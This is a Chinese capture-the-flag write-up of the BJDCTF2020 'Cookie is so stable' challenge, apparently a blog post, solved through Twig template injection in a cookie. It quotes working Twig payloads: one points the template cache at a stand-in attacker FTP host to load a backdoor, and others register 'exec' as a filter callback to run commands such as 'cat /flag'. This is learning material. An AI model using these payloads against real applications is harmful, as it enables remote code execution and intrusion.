2021-07-20 [BJDCTF2020]Cookie is so stable 知识点:SSTI Twig Cookie注入

**

[BJDCTF2020]Cookie is so stable

**
**

前言:

**
不得不说又是膜拜众大佬的一天,题目对于萌新来说实在是难啊,只能搜寻wp加了解知识点边学边做了o(╥﹏╥)o
BUU实现题目复现,尽管题目写着cookie,但是重点却不是这 ̄□ ̄||。
知识点:SSTI(Twig),cookie注入

**

前置知识:

**
主要就是需要了解SSTI,具体解决Twig的。
附上大佬的链接,以下两篇文章都比较详细的讲了不同类型的SSTI,讲的是针不搓!

一篇文章带你理解漏洞之SSTI漏洞
服务端模板注入攻击

**

重点:

**
一张重要经典图片:
在这里插入图片描述
Twig:
复制别人的解释:

Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self
没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache
方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在
getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:

    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }   }   return false; }   public function registerUndefinedFilterCallback($callable) {  
$this->filterCallbacks[] = $callable; }

我们只需注册 exec 为 filter 的回调函数,并如此调用就可以进行注入了:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

**

解题过程:

**
进入网站,发现flag.php:
开始
进入反正经过一番测试,发现是Twig:
测试语句
返回值
知道题目提示cookie,所以F12查看,发现了user,判断是cookie这边注入:
F12
所以接下来使用burpsuit抓包,进行cookie注入,写入payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

flag
**

总结:

**
做完这题,了解到SSTI还有许多种类型,学习的路还很漫长啊o(╥﹏╥)o

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sakura-501

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值